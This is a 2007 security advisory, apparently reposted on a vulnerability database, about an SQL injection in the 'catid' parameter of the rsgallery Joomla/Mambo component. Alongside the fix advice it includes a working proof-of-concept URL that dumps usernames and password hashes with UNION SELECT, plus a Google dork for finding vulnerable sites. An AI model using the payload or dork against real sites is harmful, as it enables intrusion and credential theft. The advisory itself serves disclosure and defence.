Mambo/Joomla Component rsgallery <= 2.0b5 (catid) SQL Injection Vuln

🗓️ 05 Dec 2007 00:00:00Reported by RootType
Mambo/Joomla Component rsgallery <= 2.0b5 (catid) SQL Injection Vulnerability allows remote attackers to obtain md5 passwords

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ECHO_ADV_86$2007

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[ECHO_ADV_86$2007]&nbsp;Mambo/Joomla&nbsp;Component&nbsp;rsgallery&nbsp;&lt;=&nbsp;2.0&nbsp;beta&nbsp;5&nbsp;(catid)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability
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Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;M.Hasran&nbsp;Addahroni
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;November,&nbsp;30&nbsp;th&nbsp;2007
Location&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Australia,&nbsp;Sydney
Web&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://advisories.echo.or.id/adv/adv86-K-159-2007.txt
Critical&nbsp;Lvl&nbsp;&nbsp;&nbsp;:&nbsp;Medium
Impact	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;System&nbsp;access
Where	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;From&nbsp;Remote
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Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application&nbsp;&nbsp;&nbsp;:&nbsp;rsgallery&nbsp;&nbsp;
version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&lt;=&nbsp;2.0&nbsp;beta&nbsp;5
Vendor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.rsdev.nl/
Description&nbsp;:

RSGallery&nbsp;is&nbsp;one&nbsp;of&nbsp;the&nbsp;most&nbsp;complete&nbsp;Gallery&nbsp;solutions&nbsp;for&nbsp;Joomla&nbsp;at&nbsp;this&nbsp;point

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Vulnerability:
~~~~~~~~~~~~~

Input&nbsp;passed&nbsp;to&nbsp;the&nbsp;&quot;catid&quot;&nbsp;parameter&nbsp;is&nbsp;not&nbsp;properly&nbsp;verified&nbsp;before&nbsp;being&nbsp;used&nbsp;to&nbsp;sql&nbsp;query.&nbsp;
This&nbsp;can&nbsp;be&nbsp;exploited&nbsp;thru&nbsp;the&nbsp;browser&nbsp;and&nbsp;get&nbsp;the&nbsp;hash&nbsp;md5&nbsp;password&nbsp;from&nbsp;users.
Successful&nbsp;exploitation&nbsp;requires&nbsp;that&nbsp;&quot;magic_quotes&quot;&nbsp;is&nbsp;off.


Poc/Exploit:
~~~~~~~~~

http://target.com/index.php?option=com_rsgallery&amp;page=inline&amp;catid=-1%20union%20select%201,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11%20from%20mos_users--

Dork:
~~~~
Google&nbsp;&nbsp;:&nbsp;&quot;option=com_rsgallery&quot;&nbsp;or&nbsp;inurl:&amp;Oacute;index.php?option=com_rsgallery&amp;Oacute;&nbsp;



Solution:
~~~~~~

-&nbsp;Edit&nbsp;the&nbsp;source&nbsp;code&nbsp;to&nbsp;ensure&nbsp;that&nbsp;input&nbsp;is&nbsp;properly&nbsp;verified.
-&nbsp;Turn&nbsp;on&nbsp;magic_quotes&nbsp;in&nbsp;php.ini
-&nbsp;use&nbsp;the&nbsp;latest&nbsp;version

Timeline:
~~~~~~~~

-&nbsp;30&nbsp;-11&nbsp;-&nbsp;2007&nbsp;bug&nbsp;found
-&nbsp;3&nbsp;&nbsp;-12&nbsp;-&nbsp;2007&nbsp;publish&nbsp;advisory
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Shoutz:
~~~~
~&nbsp;ping&nbsp;-&nbsp;my&nbsp;dearest&nbsp;wife,&nbsp;'zizou'&nbsp;zautha&nbsp;-&nbsp;my&nbsp;lovely&nbsp;son,&nbsp;for&nbsp;all&nbsp;the&nbsp;luv,&nbsp;the&nbsp;tears&nbsp;n&nbsp;the&nbsp;breath
~&nbsp;y3dips,the_day,m0by,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,&nbsp;az01,negative,the_hydra,neng&nbsp;chika,&nbsp;str0ke
~&nbsp;masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~&nbsp;SinChan,h4ntu,cow_1seng,sakitjiwa,&nbsp;m_beben,&nbsp;rizal,&nbsp;cR4SH3R,&nbsp;madkid,&nbsp;kuntua,&nbsp;stev_manado,&nbsp;nofry,ketut,x16,k1tk4t,cyb3rh3b,opt1lc
~&nbsp;[email protected]
~&nbsp;everyone&nbsp;[at]&nbsp;mac.web.id&nbsp;forum
~&nbsp;#aikmel&nbsp;#e-c-h-o&nbsp;@irc.dal.net

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Contact:
~~~~~

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;K-159&nbsp;||&nbsp;echo|staff&nbsp;||&nbsp;eufrato[at]gmail[dot]com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Homepage:&nbsp;http://k-159.echo.or.id/

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05 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1
Mambo/Joomla Component rsgallery &lt;= 2.0b5 (catid) SQL Injection Vuln

Mambo/Joomla Component rsgallery <= 2.0b5 (catid) SQL Injection Vuln
